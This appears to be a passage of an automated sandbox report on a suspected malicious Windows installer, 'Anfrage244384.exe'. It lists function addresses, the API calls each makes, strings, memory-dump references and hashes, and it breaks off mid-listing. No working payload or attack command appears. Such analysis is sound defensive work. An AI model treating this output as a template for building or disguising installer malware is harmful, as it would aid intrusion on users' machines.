                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
                                                          • String ID: %s=%s$NUL$[Rename]
                                                          • API String ID: 222337774-4148678300
                                                          • Opcode ID: 5ce72f1d5662fdfb16fbdc716e83a23565de7620f696fffa2ec6c38a8c937bd1
                                                          • Instruction ID: 6293277805e4fd93310031222b01184603883beffbc8e30d5776d07611dc3463
                                                          • Opcode Fuzzy Hash: 5ce72f1d5662fdfb16fbdc716e83a23565de7620f696fffa2ec6c38a8c937bd1
                                                          • Instruction Fuzzy Hash: 0D310171204B19BBE2206B255E89F6B3A5CDF42758F14013AFE41F22D2DA7C9C058EAD
                                                          Function 100021FA Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 139memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GlobalFree.KERNEL32(00000000), ref: 1000234A
                                                            • Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234
                                                          • GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
                                                          • GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
                                                          • CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
                                                          • GlobalFree.KERNEL32(00000000), ref: 100022FB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1928216941.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.1928204530.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928228736.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928240548.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
                                                          • String ID: @Hmu
                                                          • API String ID: 3730416702-887474944
                                                          • Opcode ID: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                          • Instruction ID: bfa8c22ebd78897ea4dc14f883c746723b208fa17a75ef0c69fbb79ff87ab60c
                                                          • Opcode Fuzzy Hash: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                          • Instruction Fuzzy Hash: B541ABB1108311EFF320DFA48884B5BB7F8FF443D1F218529F946D61A9DB34AA448B61
                                                          Function 0040602E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Anfrage244384.exe",74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406086
                                                          • CharNextA.USER32(?,?,?,00000000), ref: 00406093
                                                          • CharNextA.USER32(?,"C:\Users\user\Desktop\Anfrage244384.exe",74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406098
                                                          • CharPrevA.USER32(?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 004060A8
                                                          Strings
                                                          • "C:\Users\user\Desktop\Anfrage244384.exe", xrefs: 0040606A
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 0040602F
                                                          • *?|<>/":, xrefs: 00406076
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Char$Next$Prev
                                                          • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
                                                          • API String ID: 589700163-108213688
                                                          • Opcode ID: c65cd21f9bebafd0fa0734b05f9293669e0a6699517ac04d9452259f54362241
                                                          • Instruction ID: 6dd00fd98cdd52380b6000705bfe1b2e5a3199cd407f9fb4c243556cad1baf37
                                                          • Opcode Fuzzy Hash: c65cd21f9bebafd0fa0734b05f9293669e0a6699517ac04d9452259f54362241
                                                          • Instruction Fuzzy Hash: E81104A28847952DEB3296344C44B776F894F967A0F19007BE8C6722C3CA7C5CA2836D
                                                          Function 0040400F Relevance: 12.1, APIs: 8, Instructions: 61COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetWindowLongA.USER32(?,000000EB), ref: 0040402C
                                                          • GetSysColor.USER32(00000000), ref: 00404048
                                                          • SetTextColor.GDI32(?,00000000), ref: 00404054
                                                          • SetBkMode.GDI32(?,?), ref: 00404060
                                                          • GetSysColor.USER32(?), ref: 00404073
                                                          • SetBkColor.GDI32(?,?), ref: 00404083
                                                          • DeleteObject.GDI32(?), ref: 0040409D
                                                          • CreateBrushIndirect.GDI32(?), ref: 004040A7
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                          • String ID:
                                                          • API String ID: 2320649405-0
                                                          • Opcode ID: ae3d8a9df92c775f8f54e71e017c7c1ec6869770dfd215418e325c2b67ca61e7
                                                          • Instruction ID: 4b93f18e3972f6c94df15fd0826ae0e2c8d28fcec101fb7672849d56c603d5ef
                                                          • Opcode Fuzzy Hash: ae3d8a9df92c775f8f54e71e017c7c1ec6869770dfd215418e325c2b67ca61e7
                                                          • Instruction Fuzzy Hash: 792124B1500744ABCB319F78DD48B5BBBF8AF41714B04892DEA96F22A0D734D944CB55
                                                          Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                          • GlobalFree.KERNEL32(?), ref: 100024B5
                                                          • GlobalFree.KERNEL32(00000000), ref: 100024EF
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1928216941.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.1928204530.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928228736.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928240548.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Global$Free$Alloc
                                                          • String ID:
                                                          • API String ID: 1780285237-0
                                                          • Opcode ID: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
                                                          • Instruction ID: 4e6b36a645f71e2aed4a85f2c36ff1861f2741140ba068ae73f9b0a79c1593cf
                                                          • Opcode Fuzzy Hash: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
                                                          • Instruction Fuzzy Hash: EA319CB1504250EFF322CF64CCC4C6B7BBDEB852D4B124529FA4193168CB31AC94DB62
                                                          Function 00404FDC Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrlenA.KERNEL32(0042A048,00000000,0041C020,74DF23A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                          • lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,74DF23A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                          • lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,74DF23A0), ref: 00405038
                                                          • SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                          • SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                          • SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                                          • String ID:
                                                          • API String ID: 2531174081-0
                                                          • Opcode ID: 3b2410e8308c6412343eb032780aba43e390b926bae686ddbb8ef07075a9bc68
                                                          • Instruction ID: 94b0b073a5ce97ddacba51ea26bc878ee4e16423412cd9a98c67571b7997b3ab
                                                          • Opcode Fuzzy Hash: 3b2410e8308c6412343eb032780aba43e390b926bae686ddbb8ef07075a9bc68
                                                          • Instruction Fuzzy Hash: D5219D71900518BBDF119FA5CD84ADFBFA9EF04354F14807AF944B6291C6398E40CFA8
                                                          Function 004048A7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004048C2
                                                          • GetMessagePos.USER32 ref: 004048CA
                                                          • ScreenToClient.USER32(?,?), ref: 004048E4
                                                          • SendMessageA.USER32(?,00001111,00000000,?), ref: 004048F6
                                                          • SendMessageA.USER32(?,0000110C,00000000,?), ref: 0040491C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Message$Send$ClientScreen
                                                          • String ID: f
                                                          • API String ID: 41195575-1993550816
                                                          • Opcode ID: 33c806690141bddee9d4868c528a06b643bfd418e36cfd9cd505f5ef0f9636f7
                                                          • Instruction ID: b60015b5b4e1efc5408348c5136693cdb789d2fb79533d825e55e5a5312c0c55
                                                          • Opcode Fuzzy Hash: 33c806690141bddee9d4868c528a06b643bfd418e36cfd9cd505f5ef0f9636f7
                                                          • Instruction Fuzzy Hash: CE015EB590021DBAEB00DBA4DD85BFFBBBCAF55711F10412BBA50B61C0C7B499018BA4
                                                          Function 00401D95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDC.USER32(?), ref: 00401D98
                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DB2
                                                          • MulDiv.KERNEL32(00000000,00000000), ref: 00401DBA
                                                          • ReleaseDC.USER32(?,00000000), ref: 00401DCB
                                                          • CreateFontIndirectA.GDI32(0040B818), ref: 00401E1A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CapsCreateDeviceFontIndirectRelease
                                                          • String ID: Tahoma
                                                          • API String ID: 3808545654-3580928618
                                                          • Opcode ID: 4a9721664201bd5593a8fcbda807d16f2860009d8a73813414fafdd84ed437a3
                                                          • Instruction ID: 1358c95a7d37f972e16a3fa2afb190f01721c65bbfaef5fc63903db35bf40af4
                                                          • Opcode Fuzzy Hash: 4a9721664201bd5593a8fcbda807d16f2860009d8a73813414fafdd84ed437a3
                                                          • Instruction Fuzzy Hash: DD015272544240AFE7006B74AE4A7A93FF8DB59315F10843AF141B62F2CB7900458FAD
                                                          Function 00402C13 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C2E
                                                          • MulDiv.KERNEL32(0012B433,00000064,0012D8F8), ref: 00402C59
                                                          • wsprintfA.USER32 ref: 00402C69
                                                          • SetWindowTextA.USER32(?,?), ref: 00402C79
                                                          • SetDlgItemTextA.USER32(?,00000406,?), ref: 00402C8B
                                                          Strings
                                                          • verifying installer: %d%%, xrefs: 00402C63
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Text$ItemTimerWindowwsprintf
                                                          • String ID: verifying installer: %d%%
                                                          • API String ID: 1451636040-82062127
                                                          • Opcode ID: bfb410b3b6209971c20e4d2875b6fc85698dfbb326aa5bfda2d4b594da7e2ec0
                                                          • Instruction ID: 7317fb9631212961ca73b33fff5b89fd9836da26efc2a3b2e30b0290716cf4a9
                                                          • Opcode Fuzzy Hash: bfb410b3b6209971c20e4d2875b6fc85698dfbb326aa5bfda2d4b594da7e2ec0
                                                          • Instruction Fuzzy Hash: 0E01627060020CFBEF209F60DE09EEE37A9EB04304F008039FA06A51D0DBB899518F58
                                                          Function 00402749 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D
                                                          • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 004027B9
                                                          • GlobalFree.KERNEL32(?), ref: 004027F2
                                                          • GlobalFree.KERNEL32(00000000), ref: 00402805
                                                          • CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040281D
                                                          • DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402831
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Global$AllocFree$CloseDeleteFileHandle
                                                          • String ID:
                                                          • API String ID: 2667972263-0
                                                          • Opcode ID: 45c976d1f9efa3b673be8bfb29733d3aa1598ede0f13eddfd8cf1085deaf7a0d
                                                          • Instruction ID: 571a6d001cc63de597daa7fe39824babb5321d0f4a9ee8e37ed24c69abe451e8
                                                          • Opcode Fuzzy Hash: 45c976d1f9efa3b673be8bfb29733d3aa1598ede0f13eddfd8cf1085deaf7a0d
                                                          • Instruction Fuzzy Hash: 62219C71800128BBCF217FA5CE89D9E7A79EF09324F14423AF551762E1CA794941DFA8
                                                          Function 1000180D Relevance: 7.7, APIs: 5, Instructions: 189COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1928216941.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.1928204530.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928228736.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928240548.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: FreeGlobal
                                                          • String ID:
                                                          • API String ID: 2979337801-0
                                                          • Opcode ID: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
                                                          • Instruction ID: adaf369aa6dab84e94bee76403d526b7d43184adb12fe210256c1aedb67fe499
                                                          • Opcode Fuzzy Hash: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
                                                          • Instruction Fuzzy Hash: 43512536D04159AEFB55DFB488A4AEEBBF6EF453C0F124169E841B315DCA306E4087D2
                                                          Function 00401D3B Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDlgItem.USER32(?), ref: 00401D3F
                                                          • GetClientRect.USER32(00000000,?), ref: 00401D4C
                                                          • LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D6D
                                                          • SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D7B
                                                          • DeleteObject.GDI32(00000000), ref: 00401D8A
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                          • String ID:
                                                          • API String ID: 1849352358-0
                                                          • Opcode ID: b9866fc206b3e1f2001e4087a8a8d6ef2e3fb8e7fd47bad3a68fd0200ce6cc51
                                                          • Instruction ID: 59b50efb9a894631b7e7ef6fc31e4c4877b28631b56f020e773a3ce1da8bb2e7
                                                          • Opcode Fuzzy Hash: b9866fc206b3e1f2001e4087a8a8d6ef2e3fb8e7fd47bad3a68fd0200ce6cc51
                                                          • Instruction Fuzzy Hash: 6EF0FFB2600519BFD700EBA4DF88DAFB7BCEB44301B10447AF641F2191CA749D018B38
                                                          Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C74
                                                          • SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C8C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Timeout
                                                          • String ID: !
                                                          • API String ID: 1777923405-2657877971
                                                          • Opcode ID: 028af5dbbf2e27154293e1be7a1693a126019fa8c38554a83be992bc88fc6b23
                                                          • Instruction ID: c229e225b91697c78ff11bbf30ef832f008d48f992f947ceaaf7a44b37239d7f
                                                          • Opcode Fuzzy Hash: 028af5dbbf2e27154293e1be7a1693a126019fa8c38554a83be992bc88fc6b23
                                                          • Instruction Fuzzy Hash: E921A271A44208BEEB15EFA4DA46AED7FB1EF84314F24403EF101B61D1DA788640DB28
                                                          Function 0040479D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrlenA.KERNEL32(0042A868,0042A868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046B8,000000DF,00000000,00000400,?), ref: 0040483B
                                                          • wsprintfA.USER32 ref: 00404843
                                                          • SetDlgItemTextA.USER32(?,0042A868), ref: 00404856
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: ItemTextlstrlenwsprintf
                                                          • String ID: %u.%u%s%s
                                                          • API String ID: 3540041739-3551169577
                                                          • Opcode ID: 87a759055d291fd877383144180c8e5bed6145313cb5bdff1d542eccde70147e
                                                          • Instruction ID: 1726a7b3b84a2b44988fbd512cc110d638b221a6b4b1acd42f263589eafed974
                                                          • Opcode Fuzzy Hash: 87a759055d291fd877383144180c8e5bed6145313cb5bdff1d542eccde70147e
                                                          • Instruction Fuzzy Hash: D611E4736041282BEB00666D9C45EEF3698DB86374F244237FA25F31D1EA78CC1286E8
                                                          Function 00403A08 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetWindowTextA.USER32(00000000,Berny Setup), ref: 00403AA0
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
